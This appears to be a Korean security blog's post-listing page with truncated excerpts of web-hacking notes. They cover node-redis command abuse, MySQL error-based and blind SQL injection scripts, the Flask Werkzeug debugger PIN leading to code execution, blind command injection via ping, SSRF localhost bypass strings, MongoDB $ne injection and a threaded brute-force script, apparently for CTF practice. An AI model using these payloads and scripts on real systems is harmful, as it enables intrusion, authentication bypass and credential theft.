본문 바로가기

(17)
node-redis Bug case command의 첫번째 인자에 array 타입이 올 경우 기존 방식과는 다르게 처리 되는것을 이용// String Typekey, value, callback => Command(command, [key, value], callback) // Array Type[key, value] => Command(command, key, value)redis_client.send_command(log_query[0], log_query[1], function(err, result)예시로 다음처럼 log_query를 get으로 받아 command를 실행시켜주는 함수가 있다. callback함수까지 있는 형식이지만여기에 다음처럼 array형태로 줄경우 callback함수는 무시된다. ?log_query[0]=set&l..
mysql error based injection 잘 되어 있는 곳 https://johyungen.tistory.com/408 MySQL Error(Double Query, XML 내장함수) SQLi (rand(), floor(), limit, offset, ifnull, extractvalue(), updatexml())소스코드 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 johyungen.tistory.com extractvalue와 같은 xml 내장함수의 경우 에러 출력시 32글자 제한이 있기에 substr과 같은 함수로 출력되는값을 잘 나누어 값을 얻어낸다.admin' and extractvalue(1,concat(0x3a,substr((select up..
한글 blind sqlinjection from email import headerfrom requests import get, headhost = "input your host"password_length = 0headers={"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8)"}while True: password_length += 1 query = f"admin' and char_length(upw) = {password_length}-- -" r = get(f"{host}/?uid={query}",headers=headers) if "exists" in r.text: breakprint(f"password length: ..
python flask debugger pin취약점 문제 Werkzeug 는 Flask가 많이 사용하는 WSGI웹 애플리케이션 라이브러리이다. 디버깅시 사용하면 편하지만 RCE취약점으로 연결될수있다는 점이있다. app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)이런 문제의 특징은 debug기능이 true로 되어있다는것이다.(true로 할시 pin번호만 입력하면 interactive interpreter형식의 python을 사용할수 있게 된다) 콘솔에 접근하는 방법은url:{port}/console 에 접근하거나에러페이지에서 에러에 커서를 대면 우측의 콘솔버튼으로 접근이 가능하다. 하지만 pin번호를 알아야 하기에 이핀번호를 어케 알아내느냐?보통 LFI취약점으로 파일을 읽을 수 있게된다. 다음 에러 페이..
Blind OS Command Injection OS Command Injection의 한 종류로 시스템 명령의 수행 결과 값을 알 수 없을 때 사용하는 방법이다.command injection성공후 리턴값을 볼수없기에 다른 방식으로 공격자에게 응답을 오도록 한다. 1.ping을 이용한 방법ping -c 5 xxx.xxx.xxx.xxx : 대상 IP에 icmp 메세지를 5번 요청하는 명령어다음처럼 command에 넣으면 대상ip를 나의 서버로 해두면 명령어가 잘먹혔을때 로그가 찍힐것이다. 다중명령어 사용법 등 링크참조---------------틈새시장------------------이사람 정말 설명을 잘해뒀다.https://bpsecblog.wordpress.com/2016/10/05/command_injection_02/ 엄마보고싶다(2) – Com..
SSRF localhost, 127.0.0.1 bypass http://vcap.me:1530http://0x7f.0x00.0x00.0x01:1530http://0x7f000001:1530http://2130706433:1530http://Localhost:1530고수가 우회하는법 http://127.0.0.1http://0.0.0.0http://localhosthttp://[::]http://0000::1http://spoofed.burpcollaborator.nethttp://localtest.mehttp://localhost.hahwul.comhttp://127.127.127.127http://127.0.1.3http://127.0.0.0http://0/http://127.1http://127.0.1http://2130706433http://0177.0.0..
MongoDB_Injection 안쓰면 항상 까먹기때문에 정리해둔다. 비교연산 이용 $eq지정된 값과 같은 값을 찾습니다. (equal)$gt지정된 값보다 큰 값을 찾습니다. (greater than)$gte지정된 값보다 크거나 같은 값을 찾습니다. (greater than equal)$in배열 안의 값들과 일치하는 값을 찾습니다. (in)$lt지정된 값보다 작은 값을 찾습니다. (less than)$lte지정된 값보다 작거나 같은 값을 찾습니다. (less than equal)$ne지정된 값과 같지 않은 값을 찾습니다. (not equal)$nin배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in){"id": {"$ne":""}, "pw": {"$ne":""}}​ 다음처럼 $ne와 같은 비교연산자를 통해 모든결과를 출력가능..
Python 쓰레드로 한번에 웹에 requests로 브루트포싱하기 import requestsfrom concurrent.futures import ThreadPoolExecutorurl="input URL"def exploit(num): return requests.post(url,data={"form1":"1234","form2":"1234","form3":num})val=[i for i in range(0,101)]with ThreadPoolExecutor(max_workers=100) as executor: results=list(executor.map(exploit,val)) for i in results: print(i) import requestsimport threadingurl="input URL"for i in range(..